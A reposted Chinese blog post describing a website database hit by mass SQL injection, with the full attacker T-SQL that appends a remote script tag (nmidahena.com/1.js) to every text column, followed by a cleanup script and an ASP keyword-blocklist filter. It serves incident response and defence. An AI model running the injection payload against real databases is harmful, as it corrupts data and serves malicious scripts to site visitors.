LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

sql注入【转】

admin
2011年2月28日 11:22 本文热度 2436

最近客户的网站被 注入了<script src=http://www.nmidahena.com/1.js></script>。整个网站的数据库基本上都在内容的后面加入了 <script src=http://www.nmidahena.com/1.js></script>

经分析,网站不止一次被注入。

在网上查询 了一些资料,注入的SQL语句是这样的:

===============================================

DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR
FOR
select a.name, b.name
from   sysobjects a,syscolumns b
where  a.id = b.id
 and a.xtype = 'u'
 and ( b.xtype = 99
 or b.xtype = 35
 or b.xtype = 231
 or b.xtype = 167
 )
OPEN Table_Cursor
 FETCH NEXT FROM Table_Cursor INTO @T, @C
 WHILE( @@FETCH_STATUS = 0 )
 BEGIN
 exec
  ( 'update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,['
  + @C + ']))+''<script src=http://www.nmidahena.com/1.js></script>''' )

  FETCH NEXT FROM Table_Cursor INTO @T, @C
 END
CLOSE Table_Cursor

DEALLOCATE Table_Cursor

==============================================

数据库里的varchar,nvarchar,ntext这些类型的字段基本上都被感染。

更无耻的就是,如果字段的大小过小,他会把原有的内容删掉。而保存完整的<script src=http://www.nmidahena.com/1.js></script>。很多数据都被破坏了。

花了一天的功夫终于写出来清除这些小尾巴的方法:

===============================================

DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR
FOR
select a.name, b.name
from   sysobjects a,syscolumns b
where  a.id = b.id
 and a.xtype = 'u'
 and ( b.xtype = 99
 or b.xtype = 35
 or b.xtype = 231
 or b.xtype = 167
 )
OPEN Table_Cursor
 FETCH NEXT FROM Table_Cursor INTO @T, @C
 WHILE( @@FETCH_STATUS = 0 )
BEGIN
exec

 ('update [' + @T + '] set [' + @C + '] = ( case  when
 ( CHARINDEX(''<script'', [' + @C + '])>0)
 then
 left( rtrim(convert(nvarchar,['+ @C + '])), CHARINDEX(''<script'', ['+ @C + '] )-1)
else
 [' + @C + ']
end )

')

FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor

DEALLOCATE Table_Cursor

==============================================

这里CHARINDEX(''<script'', ['+ @C + '] ) 是因为有很多字段被多次感染,成了<script src=<script src=http://www.nmidahena.com/1.js></script>这样的内容。所以以<script 为标志,全部删除。这样可能会删除一些合法的,但是没办法。。。如果要清理干净。必须得这么做。

做完以为,对网站进行一下SQL的重点过滤:

==========FilterSqlAttack.asp==============

<%
Call FilterSqlAttack()
Sub FilterSqlAttack()
 dim sql_leach,sql_leach_0,Sql_DATA,SQL_Get,Sql_Post
 sql_leach = "and,exec,insert,select,delete,update,count,*,%,chr,mid,master,truncate,char,declare"
 sql_leach_0 = split(sql_leach,",")
 
 If Request.QueryString<>"" Then
  For Each SQL_Get In Request.QueryString
   For SQL_Data=0 To Ubound(sql_leach_0)
    if instr(LCase(Request.QueryString(SQL_Get)),sql_leach_0(SQL_Data))>0 Then
     Response.Write "请不要尝试进行SQL注入!"
     Response.end
    end if
   next
  Next
 End If
 
 
 If Request.Form<>"" Then
  For Each Sql_Post In Request.Form
   For SQL_Data=0 To Ubound(sql_leach_0)
    if instr(LCase(Request.Form(Sql_Post)),sql_leach_0(SQL_Data))>0 Then
     Response.Write "请不要尝试进行SQL注入!"
     Response.end
    end if
   next
  next
 end if

 If Request.Cookies<>"" Then
  For Each Sql_Post In Request.Cookies
   For SQL_Data=0 To Ubound(sql_leach_0)
    if instr(LCase(Request.Cookies(Sql_Post)),sql_leach_0(SQL_Data))>0 Then
     Response.Write "含有非法字符,已记录IP"
     Response.end
    end if
   next
  next
 end if
End Sub
%>

==========================

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/RyanGT/archive/2008/04/08/2260742.aspx


该文章在 2011/2/28 11:22:20 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2024 ClickSun All Rights Reserved